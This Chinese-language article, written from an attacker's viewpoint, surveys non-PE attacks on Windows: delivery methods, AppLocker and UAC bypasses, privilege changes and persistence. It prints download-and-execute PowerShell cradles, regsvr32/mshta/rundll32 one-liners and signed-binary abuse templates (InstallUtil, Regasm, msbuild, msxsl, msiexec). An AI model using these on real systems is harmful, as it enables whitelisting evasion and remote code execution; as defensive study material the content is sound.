No Power No Shell --- 非PE攻擊中的套路
前言
本文以攻擊者的視野,以非PE作為載體的攻擊鏈作為寫作思路,通過對非PE文件類型,攻擊方法,安全策略和許可權,後門這幾個方面進行簡單介紹,通過本文,希望讓閱讀者能對該類型攻擊套路有一個新的認識。
為什麼是非PE
PE作為Windows平台下可執行文件格式,其自身的類型劃分數目較少,常見的有32位PE,64位PE以及NE、LE格式,類型有exe、dll、sys格式,長期以來,人們已經習慣於通過雙擊執行exe程序,而對於殺毒軟體來講,也習慣性的「擅長於」對exe進行查殺,而非PE相較於PE,人們感覺更加陌生,當然殺軟也是如此。當人感覺到"陌生"時,通常會產生兩種心理,一種是「警惕」,而另一種是「好奇」。當殺軟感覺「陌生」時,為了減少「誤報」,通常的做法就是先「放過「,尤其是對目前流行的PowerShell。
非PE類型
本文討論的非PE類型限於Windows平台,所以不會將apk、ELF等劃分到這裡,而會將C#語言寫的.Net程序劃分到非PE,這裡劃分了腳本類型,文檔類型兩類,當然還可以再細緻劃分。
- 腳本類型
腳本類型作為非PE的主要類型,其在Windows下自帶的有Bat、Vbs、JScript類型以及後來加入的PowerShell,除了這些自帶腳本,當然還有Python、Lua、Java、PHP等類型,然而這些都是基於自身運行時環境的。
- 文檔類型
文檔類型有常見的Word、Excel、PPT以及RTF這些office文檔,也有PDF、HTA(勉強算)類型,因為這些文件中可以嵌入"可執行"腳本,所以這裡沒有TXT的事情。
- 其他類型
inf、lnk文件,還有一些例如Autoit、CAD等軟體定義的腳本,又或者swf文件,這些類型比起前面所說的,自然類型上比較模糊,所以將其歸為其他類型,如果再極致一點,也包括mp3,一部mp4,png也能算。攻擊載體的選擇,通常從下面幾點進行考慮:
1. 環境依賴
2. 敏感度
3. 體積
4. 製作成本
從環境依賴來講,系統自帶腳本通常依賴較小;從敏感度來講,文檔類的敏感度較小,從體積來講,腳本類型通常較小;從製作成本上來講,腳本類型通常較小;那這些非系統自帶的腳本用在哪呢?針對某開發人員進行攻擊?
如何攻擊
既然已經選好了攻擊載荷,那麼就要進行載荷投遞了,這裡我們舉幾個較為常見的方式進行介紹,當然也存在別的方式。
"水坑"攻擊
水坑攻擊是一種攻擊成功率較高的攻擊方式,攻擊目標通常為特定團體、組織、行業或者地區等。攻擊方通過長期觀察、猜測、收集目標的網路行為習慣,尋找目標經常訪問的網站,然後入侵一個或者多個網站進行掛馬,當目標進行訪問時,觸發攻擊程序導致個體或團體被感染。這類攻擊較為常見的特徵有以下幾點:
1. 時間跨度較長
2. 通常使用0-day漏洞
3. 攻擊目標通常選擇大型公司、政府,學校,以及科研機構等群體
"魚叉"攻擊
魚叉攻擊通常使用電子郵件等電子通信方式進行投遞,攻擊目標為特定個人,組織或企業。攻擊方首先對攻擊目標的個人信息,郵箱地址,近期私人(或公開)活動等進行收集,通過假冒公司,組織,活動主辦方或是政府機構的名義,發送含有虛假內容、惡意文件或惡意鏈接,誘使目標點擊或者登錄賬號密碼,一旦目標進行如上操作,那麼自身的個人信息會再次泄露,攻擊方甚至會藉此安全惡意程序,持續對目標計算機進行控制。這類攻擊通常有如下幾點特徵:
1. 高度的定製化和精準化
2. 通常攻擊目標會選擇個體
3. 文檔類作為攻擊載體的目的性更強
上述是常見的攻擊方式,當然更為粗暴的方式也可以選擇埠攻擊,更柔和的選擇一個橫跨幾個月或者一兩年的套近乎式社工手法也可以。
攻擊技巧
好了,假設這裡攻擊載荷成功投遞到目標,其是否生效還受到系統策略、許可權等因素影響,這裡本文列舉較為常見的安全策略以及許可權相關的問題進行介紹。
策略繞過
applocker
applocker是一款用於替代軟體限制策略的全新系統管理工具。部署於Windows 2008 Server R2以及之後的所有系統中,幫助用戶控制可運行的應用和文件,這包括可執行文件(.exe、.com)、腳本(.vbs、.js、.ps1、.cmd、和.bat)、Windows安裝程序(.msi、.msp)、動態鏈接庫(.dll、.ocx)等。基本特性如下:
· 基於數字簽名派生出的以文件屬性作為規則定義(如:文件名、路徑、版本)
· 向單個用戶、組分配規則
· 規則可定義例外
· 支持導入和導出
通過上述介紹,以下面兩種情況分別討論
- 腳本執行禁用,cmd、powershell執行未禁用
這種情況下利用方式很多,常見的方式基本有1.直接使用cmd、powershell命令
#cmdpowershell -exec bypass IEX(New-Object Net.WebClient).DownloadString(http://)#payloadIEX(New-Object Net.WebClient).DownloadString(http://)
2.通過管道
#cmdcmd.exe /K < payload.bat#powershellget-content x.ps1 | iex
3.通過regsvr32、rundll32、mshta
regsvr32 /u /n /s /i:payload.sct scrobj.dllregsvr32 /u /n /s /i:http://ip:port/payload.sct scrobj.dllrundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString(http://ip:port/);")mshta.exe "javascript:new%20ActiveXObject("WScript.Shell").Run("powershell%20-nop%20-exec%20bypass%20-c%20IEX%20(New-Object%20Net.WebClient).DownloadString(http://ip:port/);");window.close()"腳本執行禁用,powershell執行禁用
- 對於這種情況,直接執行powershell顯然行不通了,
powershell是基於.Net框架的,powershell.exe只是命令行方式的一種實現,本質是對System.Management.Automation.dll的封裝,所以通過如下幾種方式可以繞過限制,1.規則「漏洞」默認情況下會,會將Program Files和Windows路徑設置為例外,通過尋找可寫可執行路徑,寫入payload腳本即可。如果只是對於powershell.exe採用了路徑限制,而不是哈希限制,那可以將其copy一份到別的路徑,然後使用。2.使用C#下面是一個C#調用powershell的模板代碼,將payload替換為實際執行代碼最終編譯為exe即可運行
using System;using System.Management.Automation;namespace Powershell{class Program{static void Main(string[] args){PowerShell ps = PowerShell.Create();ps.AddCommand("Invoke-Expression");ps.AddArgument("payload");ps.Invoke();}}}
3.使用InstallUtil.exeInstallUtil是一個經過簽名的windows組件安裝程序,利用模板如下
// InstallUtil.csusing System;using System.Management.Automation;namespace Whitelist{class Program{static void Main(string[] args){}}}[System.ComponentModel.RunInstaller(true)]public class Sample : System.Configuration.Install.Installer{//The Methods can be Uninstall/Install. Install is transactional, and really unnecessary.public override void Uninstall(System.Collections.IDictionary savedState){PowerShell ps = PowerShell.Create();ps.AddCommand("Invoke-Expression");ps.AddArgument("payload");ps.Invoke(); }}#編譯C:WindowsMicrosoft.NETFramework64v4.0.30319csc.exe /unsafe /platform:x64 /out:InstallUtil.exe InstallUtil.cs#/U 執行卸載常式C:WindowsMicrosoft.NETFramework64v4.0.30319InstallUtil.exe /U InstallUtil.exe
4.使用Regasm或RegsvcsRegasm與Regsvcs均為.Net框架程序集註冊工具,利用模板如下
#Regasm.csusing System;using System.EnterpriseServices;using System.Runtime.InteropServices;using System.Management.Automation;namespace regsvcser{public class Bypass : ServicedComponent{public Bypass() { Console.WriteLine("I am a basic COM Object"); } [ComUnregisterFunction] //This executes if registration failspublic static void UnRegisterClass ( string key ){PowerShell ps = PowerShell.Create();ps.AddCommand("Invoke-Expression");ps.AddArgument("payload");ps.Invoke(); }}}
通過csc.exe編譯為dll組件,之後通過傳入給regasm(或regasm) /U 參數執行卸載常式,步驟如下
Create Your Strong Name Key -> key.snk$key = BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4=$Content =[System.Convert]::FromBase64String($key)Set-Content key.snk -Value $Content -Encoding ByteC:WindowsMicrosoft.NETFrameworkv4.0.30319csc.exe /r:System.EnterpriseServices.dll /target:library /out:Regasm.dll /keyfile:key.snk Regasm.csC:WindowsMicrosoft.NETFrameworkv4.0.30319
egsvcs.exe Regasm.dll [OR]C:WindowsMicrosoft.NETFrameworkv4.0.30319
egasm.exe Regasm.dll //Executes UnRegisterClass If you dont have permissionsC:WindowsMicrosoft.NETFrameworkv4.0.30319
egsvcs.exe /U Regasm.dll C:WindowsMicrosoft.NETFrameworkv4.0.30319
egasm.exe /U Regasm.dll //This calls the UnregisterClass Method
5.使用msxsl.exemsxsl是windows下用於處理xsl的命令行程序(已簽名),通過該程序可以執行JScript代碼,點我下載。其命令行利用方式如下
msxsl.exe demo.xml exec.xsldemo.xml與exec.xsl demo如下#demo.xml<?xml version="1.0"?><?xml-stylesheet type="text/xsl" href="exec.xsl" ?><customers><customer><name>Microsoft</name></customer></customers>#exec.xsl<?xml version=1.0?><xsl:stylesheet version="1.0"xmlns:xsl="http://www.w3.org/1999/XSL/Transform"xmlns:msxsl="urn:schemas-microsoft-com:xslt"xmlns:user="http://mycompany.com/mynamespace"><msxsl:script language="JScript" implements-prefix="user"> function xml(nodelist) {var r = new ActiveXObject("WScript.Shell").Run("cmd /c calc.exe"); return nodelist.nextNode().xml; }</msxsl:script><xsl:template match="/"> <xsl:value-of select="user:xml(.)"/></xsl:template></xsl:stylesheet>
6.使用msbuild.exemsbuild作為Windows和vs的生成引擎,默認系統自帶,下面代碼功能是創建一個PowerShell命令行。
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"><!-- This inline task executes c# code. --><!-- C:WindowsMicrosoft.NETFramework64v4.0.30319msbuild.exe pshell.xml --><!-- Author: Casey Smith, Twitter: @subTee --><!-- License: BSD 3-Clause --><Target Name="Hello"><FragmentExample /><ClassExample /></Target><UsingTaskTaskName="FragmentExample"TaskFactory="CodeTaskFactory"AssemblyFile="C:WindowsMicrosoft.NetFrameworkv4.0.30319Microsoft.Build.Tasks.v4.0.dll" ><ParameterGroup/><Task><Using Namespace="System" /><Using Namespace="System.IO" /><Code Type="Fragment" Language="cs"><![CDATA[ Console.WriteLine("Hello From Fragment"); ]]></Code></Task></UsingTask><UsingTaskTaskName="ClassExample"TaskFactory="CodeTaskFactory"AssemblyFile="C:WindowsMicrosoft.NetFrameworkv4.0.30319Microsoft.Build.Tasks.v4.0.dll" ><Task><Reference Include="System.Management.Automation" /><Code Type="Class" Language="cs"><![CDATA[ using System; using System.IO; using System.Diagnostics; using System.Reflection; using System.Runtime.InteropServices; //Add For PowerShell Invocation using System.Collections.ObjectModel; using System.Management.Automation; using System.Management.Automation.Runspaces; using System.Text; using Microsoft.Build.Framework; using Microsoft.Build.Utilities; public class ClassExample : Task, ITask { public override bool Execute(){ while(true){ Console.Write("PS >"); string x = Console.ReadLine(); try { Console.WriteLine(RunPSCommand(x)); } catch (Exception e) { Console.WriteLine(e.Message); } } return true; } //Based on Jared Atkinsons And Justin Warners Work public static string RunPSCommand(string cmd) { //Init stuff Runspace runspace = RunspaceFactory.CreateRunspace(); runspace.Open(); RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); Pipeline pipeline = runspace.CreatePipeline(); //Add commands pipeline.Commands.AddScript(cmd); //Prep PS for string output and invoke pipeline.Commands.Add("Out-String"); Collection<PSObject> results = pipeline.Invoke(); runspace.Close(); //Convert records to strings StringBuilder stringBuilder = new StringBuilder(); foreach (PSObject obj in results) { stringBuilder.Append(obj); } return stringBuilder.ToString().Trim(); } public static void RunPSFile(string script) { PowerShell ps = PowerShell.Create(); ps.AddScript(script).Invoke(); } } ]]></Code></Task></UsingTask></Project>
7.使用msiexec.exe通過msf生產一個payload.msi,利用msiexec執行。
msfvenom -f msi -p windows/exec CMD=calc.exe > payload.msi#執行msiexec /quiet /i payload.msi
UAC
自Windows Vista開始,微軟引入了完整性級別概念,用於防止」許可權濫用「,許可權由高到低分為
· 系統級(system)
· 管理員(High)
· 用戶(Medium)
· 受限(Low)
其設計模型來自於Biba完整性模型基礎上的上不可寫,下不可讀原則來保護數據完整性。在Windows Vista之前的系統,默認創建的管理員賬戶即對應完整管理員(High)級別,這個級別基本沒有限制,導致可以任意添加計劃任務,寫關鍵路徑,讀寫關鍵註冊表、創建服務、載入驅動等等,從Windows Vista開始創建的管理員賬戶均在用戶(Medium)級別,當UAC(默認)開啟的情況下,這個級別會有很多限制,僅當程序請求管理員許可權,或是觸發條件則彈窗詢問用戶授權。
受限(Low)被應用於IE瀏覽器作為保護模式使用,其直接訪問網頁的進程會通過Host主進程代理操作系統資源,只有在Temp、Temporary、Internet Files、Cookies和Favorites目錄下的幾個特定低完整性目錄可以進行寫操作,同時啟動其他進程時彈窗詢問用戶。
由於微軟出於兼容性、用戶體驗等的考慮,為減少UAC彈窗,設定了自動提權的機制,滿足以下兩個條件的程序,會自動提升許可權
1. 必須經過 Windows Publisher 數字簽名
2. 必須位於」安全目錄「中,其中」安全目錄「指的是普通用戶(Medium)無權修改的,包括 %SystemRoot%System32(例如,WindowsSystem32)及其大多數子目錄、%SystemRoot%Ehome,以及 %ProgramFiles% 下的少許目錄(其中包括 Windows Defender 和 Windows 日記本)
滿足上述條件的exe程序,在其應用程序配置清單中有如下配置,則進行提升。
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevellevel="highestAvailable"/></requestedPrivileges></security></trustInfo><asmv3:application><asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings"><autoElevate>true</autoElevate></asmv3:windowsSettings></asmv3:application></assembly>
上面簡單介紹了UAC和完整性級別的概念,可以知道到,對關鍵文件、註冊表、進程等的操作在Medium級別會觸發UAC彈窗,當然這樣直接彈窗會引起用戶注意從而降低攻擊的成功率,所以需要繞過,繞過方法也是基於Windows設定的"自動提升"機制,通常的操作有」DLL劫持「,」偽造"等方式,這裡推薦幾個不錯的開源項目,1.對抗UAC機制的UACME2.nishang攻擊包中有PowerShell實現的bypassUAC工具Invoke-PsUACme3.Empire中Invoke-BypassUAC
許可權
上文談到了完整性級別,對許可權有了簡單了解,由於攻擊目標的環境受限,可能當前的登陸賬戶許可權較低,導致攻擊載荷在執行某些操作,例如,
· 寫高許可權路徑
· 讀寫高許可權註冊表(例如:mimikataz)
· 注入操作
· 創建計劃任務、服務、WMI、載入驅動等
這些操作都是存在問題的,所以需要提升許可權。
提權
通常這裡的提權指的是low->system,medium->system,對於low到system只能有Exploit程序,這裡推薦一下SecWiki,裡面收集了很多歷史提權漏洞。medium到system除過可使用exp,也可以通過bypassUAC到high,然後寫計劃任務或者添加服務的方式提權到system,還可以使用C代碼形式(需high級),通過UpdateProcThreadAttribute獲取父進程信息,傳入CreateProcess以創建該進程的子進程,由於會繼承父進程的許可權,從而獲取system許可權的目的。
降權
由於Windows是一個多用戶操作系統,不同的用戶有不同的環境變數和註冊表項,例如desktop, programs, appdata,tmp,temp等是不同的,部分HKCU註冊表也是不相同的,由於存在界面隔離的的原因,為了獲取某用戶當前的屏幕截圖,窗口列表等信息也是需要"切換"到該用戶。這裡的降權包括從system->high,high->medium兩種,比較通用的方法見下。
//方式1
WTSGetActiveConsoleSessionId
WTSQueryUserToken
CreateProcessAsUser
//方式2.
UpdateProcThreadAttribute + CreateProcess
後門
上文描述了攻擊載荷、攻擊方式、策略繞過與許可權等相關知識,這裡假設攻擊載體以及在目標上開始運行,為了保證能有長期、持續的對目標進行信息獲取,做一個後門是有必要的,簡單列舉一下:
1.註冊表啟動項
2.服務啟動項,服務劫持
3.dll劫持
4.fake lnk
5.計劃任務
6.WMI
7.office自啟路徑
8.Exp(如CVE-2017-8464)
9.Logon Scripts
http://10.COM 劫持
實戰中後門姿勢變化萬千,應該以目標使用者與環境進行選擇。
最後
以上是全部內容,通過本文的閱讀希望能達到如前言中的目的,文中描述不當以及有明顯bug的地方歡迎大家留言指出,後續的學習閱讀,可參考本文列舉的參考一欄。最後,感謝閱讀。
參考
[1].https://github.com/subtee
[2].https://github.com/Enigma0x3
[3].https://3gstudent.github.io/
[4].https://evi1cg.me/
[5].https://github.com/SecWiki
[6].http://www.freebuf.com/column/149286.html
[7].https://www.zhihu.com/question/20139121
[8].http://blog.csdn.net/yockie/article/details/46446047
[9].https://msdn.microsoft.com/en-us/library/aa905330.aspx
[10].http://bbs.csdn.net/topics/390248917
[11].http://blog.csdn.net/vlily/article/details/47338327
[12].https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Windows.md
[13].深入解析Windows操作系統第6版(上冊),潘愛民譯.
推薦閱讀:
※堆溢出研究二
※旅行的青蛙Unity遊戲逆向修改Android&iOS
※攻擊TrustZone系列(Pt.2) -- 逆向高通TrustZone